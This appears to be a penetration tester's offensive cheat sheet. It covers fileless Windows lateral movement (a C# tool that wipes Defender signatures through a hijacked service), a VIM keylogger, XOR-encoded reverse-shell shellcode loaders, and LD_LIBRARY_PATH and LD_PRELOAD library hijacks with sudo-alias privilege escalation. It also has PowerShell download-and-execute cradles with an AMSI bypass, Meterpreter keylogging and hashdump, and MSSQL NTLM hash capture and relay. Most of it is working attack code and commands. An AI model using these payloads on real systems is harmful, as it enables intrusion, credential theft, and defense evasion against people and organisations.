                Console.WriteLine("Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]");
                Console.WriteLine("Example: PSLessExec.exe appsrv01 SensorService notepad.exe");
                return;
            }

            // Open remote SCManager
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);
            Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}.");

            // Access target service
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);
            Console.WriteLine($"Got handle on target service {args[1]}: {schService}.");

            // Get current binPath (two passes, first is to determine the buffer size needed)
            UInt32 dwBytesNeeded;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);
            Marshal.PtrToStructure(ptr, qsc);
            String binPathOrig = qsc.lpBinaryPathName;

            // Pass 1: Disable Defender signatures
            String defBypass = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);
            Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}.");

            // Run the service for Pass 1
            bResult = StartService(schService, 0, null);
            Console.WriteLine("Launched service, defender signatures should be wiped.");

            // Pass 2: Run the chosen binary
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);
            Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}.");

            // Run the service for Pass 2
            bResult = StartService(schService, 0, null);
            Console.WriteLine("Launched service. Check for execution!");

            // Pass 3: Restore original binPath
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);
            Console.WriteLine($"Restored service binary to '{binPathOrig}', result: {bResult}.");
        }
    }
}
using System;
using System.Runtime.InteropServices;

namespace lat
{
    class Program
    {
        // P/invoke for OpenSCManagerW
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

        // P/invoke for OpenService
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

        // P/invoke for ChangeServiceConfig
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

        // P/invoke for StartService
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

        static void Main(string[] args)
        {
            // Initial proof of concept to authenticate
            String target = "appsrv01";
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

            // Code to call OpenService
            string ServiceName = "SensorService";
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);

            // Code to call ChangeServiceConfig
            string payload = "notepad.exe";
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);

            // Code to call StartService
            bResult = StartService(schService, 0, null);
        }
    }
}

Trigger payload using fileless lateral movement

# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement. 
# Copy payload to target
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe

# Now trigger it with fileless lateral movement 
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”

# You can also try to trigger the payload with psexec 
.\psexec \\dc02 -d "C:\windows\tasks\proc_hol.exe"

ScShell

https://github.com/Mr-Un1k0d3r/SCShell

SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.

# If you have obtained a hash for a user that can authenticate against target, run the command
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e        
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Command need to use FULL path. No command output.
SCShell>C:\windows\system32\cmd.exe /c certutil -urlcache -split -f "http://192.168.45.162/bin.exe" C:\windows\tasks\bin.exe

# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands. 
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with
SVShell>C:\windows\tasks\bin.exe

# Usage for .exe
SCShell.exe target service payload domain username password

# Example remote code exec
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password

Linux Post Explotation

 Stealthy VIM Backdoors

  • Directly modifying  ​.vimrc  is not stealthy.
  • To source a shell script:  !source /path/to/script 
  • To import another VIM config:  ​:source /path/to/vim-config​ 
  • Stealthier approach: Use the  ​~/.vim/plugin​  directory. VIM auto-loads all  ​.vim​  files from this directory.

VIM Backdoor keylogger

Leveraging VIM’s  .vimrc  configuration files, it’s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.

Insert this at the end of vimrc.

:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif
  •  ​BufWritePost​ : Trigger event after a buffer is written.
  •  ​*​ : Action applies to all edited files.
  •  ​:silent​ : Suppress debug output.
  •  ​:w!​ : Forcefully save the buffer contents.
  •  ​>> /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.

Linux Shellcode Loader

Simple Shellcode Loader

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// To compile:
// gcc -o simpleLoader simpleLoader.c -z execstack

// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa)
unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA";

int main (int argc, char **argv)
{
        int key = 250;
        int buf_len = (int) sizeof(buf);

        // Decode the payload
        for (int i=0; i<buf_len; i++)
        {
                buf[i] = buf[i] ^ key;
        }

        // Cast the shellcode to a function pointer and execute
        int (*ret)() = (int(*)())buf;
        ret();
}

Compile the shellcode loader

gcc -o simpleLoader simpleLoader.c -z execstack

# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.


# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf

Simple XOR Shellcode Encryption Cheatsheet

1. Simple XOR Encrypt Shellcode

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] = "\x6a\x39\x58\x0f\x05...";  // Original Shellcode

int main (int argc, char **argv) {
    char xor_key = 'J';                          // XOR Key
    int payload_length = (int) sizeof(buf);      // Length of Shellcode

    // XOR Encrypt Each Byte
    for (int i=0; i<payload_length; i++) {
        printf("\\x%02X", buf[i] ^ xor_key);
    }
    return 0;
}

Compilation:

kali@kali:~$ gcc -o encoder.out encoder.c -z execstack

kali@kali:~$ ./encoder.out
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48

2. Execute XOR Decrypted Shellcode

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] = "\x20\x73\x12\x45...";  // XOR Encrypted Shellcode

int main (int argc, char **argv) {
    char xor_key = 'J';                       // XOR Key
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode

    // XOR Decrypt Each Byte
    for (int i=0; i<arraysize-1; i++) {
        buf[i] = buf[i] ^ xor_key;
    }

    int (*ret)() = (int(*)())buf;  // Convert to Function Pointer & Execute
    ret();
}

Key Points:

  • The shellcode is encrypted using XOR operation against a key (e.g., ‘J’).
  • The encrypted shellcode must be decrypted using the same XOR key before execution.
  • After decryption, the shellcode is cast to a function pointer and executed.

Shared Libraries

Linux uses a different program format than Windows. While Linux utilizes Executable and Linkable Format (ELF), Windows uses the Portable Executable (PE) format.

Despite their differences, both systems share code with other applications. Windows employs Dynamic-Link Library (DLL) files, whereas Linux uses Shared Libraries.

When a Linux application requires a library, it searches for it in the following order:

  1. RPATH: Directories within the application’s RPATH value.
  • LD_LIBRARY_PATH: Directories specified in this environment variable.
  • RUNPATH: Directories in the application’s RUNPATH value.
  • /etc/ld.so.conf: Directories mentioned here.
  • System Library Directories:  ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64 , and more.

Because of this predefined search sequence, it’s possible to place or hijack shared libraries to control an application’s behavior.

Hijacking Shared Library via LD_LIBRARY_PATH

1. Writing the Malicious Library:

  • Create the payload file:

 ​/home/offsec/ldlib/hax.c​ 

  • Include headers:
  • Define the constructor function:
  • Function payload:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid

// This function will be executed automatically when the shared library is loaded.
static void runmahpayload() __attribute__((constructor));

void runmahpayload() {
    // Elevate privileges to root user.
    setuid(0); // Set the effective user ID to root.
    setgid(0); // Set the effective group ID to root.
    
    // Print a message to indicate the DLL hijacking is in progress.
    printf("DLL HIJACKING IN PROGRESS \n");
    
    // Execute the system command to create a file in /tmp called "haxso.txt."
    // This can be used as an indicator that the malicious code was executed.
    system("touch /tmp/haxso.txt");
}

2. Compiling the Malicious Library:

  • Compile shared library object file:
  • Compile the finished shared library file:
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -o libhax.so hax.o

3. Identifying the Target Library:

  • Determine libraries used by a binary, e.g.,  ​top​ :
ldd /usr/bin/top
linux-vdso.so.1 (0x00007ffd135c5000)
libprocps.so.6 => /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)
libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)
liblz4.so.1 => /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)
  • We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.

4. Preparing for Exploitation:

  • Set the environment variable:
  • Copy the malicious library to hijack a target:
export LD_LIBRARY_PATH=/home/offsec/ldlib/
cp libhax.so libgpg-error.so.0

5. Identifying Missing Symbols:

  • Extract symbols associated with the hijacked library:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g'
  • Add the resulting symbols to your source code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void runmahpayload() __attribute__((constructor));

int gpgrt_onclose;
int _gpgrt_putc_overflow;
int gpgrt_feof_unlocked;
int gpgrt_vbsprintf;
int gpgrt_ungetc;
---REST OF THE CODE---
  • We encountered an error stating we’re missing the symbol “gpgrt_lock_lock” with version GPG_ERROR_1.0. Before our library’s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn’t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn’t checking their functionality, just their presence. We can also use the “readelf” tool with the “-s” option to check what components the original library contains.

6. Overcoming Version Errors:

  • Extract just symbol names:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g'
  • Create a symbol map file, e.g.,  ​gpg.map​ :
GPG_ERROR_1.0 {     
gpgrt_onclose;     
_gpgrt_putc_overflow;     
... 

};
  • Recompile using the symbol map:
gcc -Wall -fPIC -c -o hax.o hax.c 
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o
  • Export environment varialbe
export LD_LIBRARY_PATH=/home/offsec/ldlib/
  • Run the application
top 
DLL HIJACKING IN PROGRESS 
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...
  • Look for the file our library was supposed to modify in /tmp.
ls -al /tmp/haxso.txt 
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt

Privilege Escalation

Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.

  • Add the alias to the .bashrc:
  • Source the .bashrc to load the changes:
  • Now, run the top utility with sudo:
alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"
source ~/.bashrc

sudo top   

ls -al /tmp/haxso.txt 
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt
  • Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.

LD_PRELOAD Exploitation

The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.

Reverse shell

1. Identifying Potential Applications

  • Target applications that the victim frequently uses (e.g.,  ​cp  utility).

2. Tracing Library Calls

$ ltrace cp
strrchr("cp", '/') = nil
...
geteuid() = 1000
getenv("POSIXLY_CORRECT") = nil
...
fflush(0x7f717f0c0680) = 0
fclose(0x7f717f0c0680) = 0
+++ exited (status 1) +++

3. Creating a Malicious Shared Library

  • Objective: Redefine the  ​geteuid​  function.
  • Code Sample:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// To compile:
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl

// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

uid_t geteuid(void)
{
        // Get the address of the original 'geteuid' function
        typeof(geteuid) *old_geteuid;
        old_geteuid = dlsym(RTLD_NEXT, "geteuid");

        // Fork a new thread based on the current one
        if (fork() == 0)
        {
                // Execute shellcode in the new thread
                intptr_t pagesize = sysconf(_SC_PAGESIZE);

                // Make memory executable (required in libs)
                if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
                        // Handle error
                        perror("mprotect");
                        return -1;
                }

                // Cast and execute
                int (*ret)() = (int(*)())buf;
                ret();
        }
        else
        {
                // Original thread, call the original function
                printf("[Hijacked] Returning from function...\n");
                return (*old_geteuid)();
        }
        // This shouldn't really execute
        printf("[Hijacked] Returning from main...\n");
        return -2;
}
  • Compilation:
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c 
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl

4. Triggering the Payload

  • Setup: Prepare a listener for the payload’s callback.
  • Execution without Preload:
cp /etc/passwd /tmp/testpasswd
  • Setting LD_PRELOAD and Execution:
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so
cp /etc/passwd /tmp/testpasswd

Privilege Escalation

  • Clear LD_PRELOAD:
unset LD_PRELOAD
  • Note: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.
  • Setting LD_PRELOAD with Sudo: Use an alias in  ​.bashrc​ :
alias sudo="sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so"
  • Reload  .bashrc :
source ~/.bashrc
  • Now run the command
sudo cp /etc/passwd /tmp/passwd

Load Exe in Memory

  • To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.
  • Below are example of how to run Rubeus.exe in memory and run ProcessHollowing payload in memory and run Mimikatz from memory.
##  Load Rubeus.exe to memory ## 
# First disable AMSI
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX

# Download Rubeus into memory 
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

# Load it as an assembly
$assem = [System.Reflection.Assembly]::Load($data)

# Invoke a function
[Rubeus.Program]::Main("purge".Split())

# Examples 
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

[Rubeus.Program]::Main("s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt".Split())

# One liner 
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.79/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main("hash /password:Password123".Split())


---------------------------------------

## Run ProcessHollowing in memory ## 
# Where Proc_hol is the namespace, and Program is the class. 
$data2 = (New-Object System.Net.WebClient).DownloadData('http://92.221.186.47/proc_hol.exe');$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main("".Split())

---------------------------------------

## Using Invoke-ReflectivePEInjection.ps1.
# See OneNote for correct version.

# Load PrintSpoofer in memory
(New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX
$bytes = (New-Object System.Net.WebClient).DownloadData('http://example.com/PrintSpoofer.exe')
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd"

Metasploit Post Explotation

[TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium

Metasploit Unleashed

Metasploit Unleashed – Free Online Ethical Hacking Course | OffSec

Running Metasploit as a Daemon

To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.

msfd 
[*] Initializing msfd...
[*] Running msfd...

To connect to the daemon, use netcat like the following example:

┌──(root㉿kali)-[/home/kali/Desktop/]
└─# nc 127.0.0.1 55554

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.3.41-dev                          ]
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[*] Starting persistent handler(s)...
msf6 > 

Meterpreter MindMap

Meterpreter Commands

# Basics
help --> List available commands
sysinfo --> Displays system  info
getuid --> List current session owner
sessions -i 2 --> Change to session 2
shell --> Drop to interactive shell
channel -i 1 --> Change to shell in channel 1
background --> Background session to interact with msfconsole

upload {local path} {victim path} --> Upload a file
download {path} --> Download file
reg {Command} --> Interacts with registry (reg by itself will list syntax)

execute -f cmd.exe -i --> Execute cmd.exe and interact
execute -f cmd.exe -i -H -t --> Execute cmd as hidden process and with all tokens

# Powershell
load powershell
powershell_execute --> Execute a PowerShell statement, including complex-statements separated by semicolons
powershell_import --> Import a local PowerShell script to execute on the remote system over the Meterpreter channel
powershell_shell --> Launch an interactive PowerShell shell
powershell_session_remove --> Used to remove a PowerShell session when created using execute/import/shell with the -s argument

# Host Reconnaissance
# List running processes on a system
ps --> List processes
getpid --> List current PID
migrate {PID} --> Migrate to anothe PID
post/windows/manage/migrate --> Make meterpreter migrate to another process.
run service_manager -l --> Lists running services on Windows.
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:
execute -H -f notepad
migrate {PID}

# Screenshots
screengrab --> Run plugin to capture screenshot of user session

# Keylogger
keyscan_start --> Start keylogger
keyscan_stop --> Stop keylogger
keyscan_dump --> Dump keylogger

# Privilege Escalation
getsystem --> Attempts to elevate privileges.
post/windows/gather/win_privs --> Determine privilege information.
exploit/windows/local/bypassuac_vbs --> Attempts to bypass UAC in order to escalate privileges.
windows/local/bypassuac_fodhelper --> Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.

Post-Explotation with Meterpreter

  • help: List available commands.
  • Migrate: Migrate to another process with migrate [PID].
    • Used for: keystroke capturing (keyscan_start, keyscan_stop, keyscan_dump) and ensuring session stability.
    • Caution: Migrating may lead to privilege loss.
  • Hashdump: Dump the SAM database containing NTLM-formatted passwords with hashdump.
  • Search: Find files, e.g., search -f flag2.txt.
  • Shell: Launch command shell on the target with shell.

  • search smb/psexec to search for a module.
  • use [id] to use the module.
  • Set required fields using set (e.g., set RHOSTS [target-machine-ip]).
  • Confirm settings with show options.
  • run to start the exploit.

Meterpreter Extensions

Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)

  • load kiwi – Load Mimikatz in current process
  • load incognito – Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.
  • load powershell
    powershell_import PowerUp.ps1 <– from our local working dir.
    powershell_execute "Invoke-AllChecks"

Meterpreter pivoting and Proxychains

# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute

set SUBNET 192.72.180.0

set SESSION 2

exploit

# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050

exploit

# Now you can use proxychains

Meterpreter Portforward

# https://www.offsec.com/metasploit-unleashed/portfwd/

# Add
# From the Meterpreter shell, the command is used in the following manner:

meterpreter > portfwd add –l 3389 –p 3389 –r  [target host]

# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.
-p 3389 is the destination port on our targeting host.
-r [target host] is the our targeted system’s IP or hostname.
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.191
[*] Local TCP relay created: 0.0.0.0:3389 >-> 172.16.194.191:3389
meterpreter >
Figure 2 Adding a port

# Delete
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:

meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
[*] Successfully stopped TCP relay on 0.0.0.0:3389
meterpreter >

# FLUSH: This argument will allow us to remove all the local port forward at once.

meterpreter > portfwd flush

MSI Backdoor

If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.

# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper

Download exemsi --> https://www.exemsi.com/download/

# Follow the guide fom hacktrics. 


------------------

# If you have a meterpreter session

exploit/windows/local/always_install_elevated

MSSQL

Good source

MSSQL – Notes (vulndev.io)

MSSQL Attacks

Enumeration

# Extract all accounts in use as SPN using built in MS tools
setspn -T corp1 -Q MSSQLSvc/*

# Use GetUserSPNs.ps1
https://github.com/nidem/kerberoast

Authentication using C#

  • This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the ‘public’ server role and displays the result.
  • The term Integrated Security = True; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.
  • It’s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.
using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String querylogin = "SELECT SYSTEM_USER;";
            SqlCommand command = new SqlCommand(querylogin, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Read();
            Console.WriteLine("Logged in as: " + reader[0]);
            reader.Close();

            // Check public role
            String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');";
            command = new SqlCommand(querypublicrole, con);
            reader = command.ExecuteReader();
            reader.Read();
            Int32 rolePublic = Int32.Parse(reader[0].ToString());
            if (rolePublic == 1)
            {
                Console.WriteLine("User is a member of public role");
            }
            else
            {
                Console.WriteLine("User is NOT a member of public role");
            }
            reader.Close();

            // Check sysadmin role
            String querySysAdminRole = "SELECT IS_SRVROLEMEMBER('sysadmin');";
            command = new SqlCommand(querySysAdminRole, con);
            reader = command.ExecuteReader();
            reader.Read();
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());
            if (roleSysAdmin == 1)
            {
                Console.WriteLine("User is a member of sysadmin");
            }
            else
            {
                Console.WriteLine("User is NOT a member of sysadmin");
            }
            reader.Close();

            con.Close();
        }
    }
}

UNC Path Injection

  • Attack Premise: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.
# xp_dirtree SQL Procedure
#	• Function: Lists all files in a given folder.
#	• Special Feature: Can accept an SMB share as a target.
EXEC master..xp_dirtree "\\192.168.119.120\\test";

# Responder Tool
#	• Function: Sets up an SMB share initiating NTLM authentication.
sudo responder -I tun0
  • The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start responder.
  • Once the NET-NTLM hash is captured, you can use hashcat (hashcat -m 5600 hash.txt dict.txt --force) or john to crack it.
using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();
            con.Close();
        }
    }
}

Relay the hash

  • Objective
    • Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.
  • Background
    • Net-NTLM hash: While it can’t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.
    • Microsoft’s Security Measure: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.
    • SMB Signing: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it’s enabled only on domain controllers.
  • Procedure
    • Enumeration: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code. 
kali@kali:~$ sudo apt -y install powershell
kali@kali:~$ pwsh
PS /home/kali> $text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
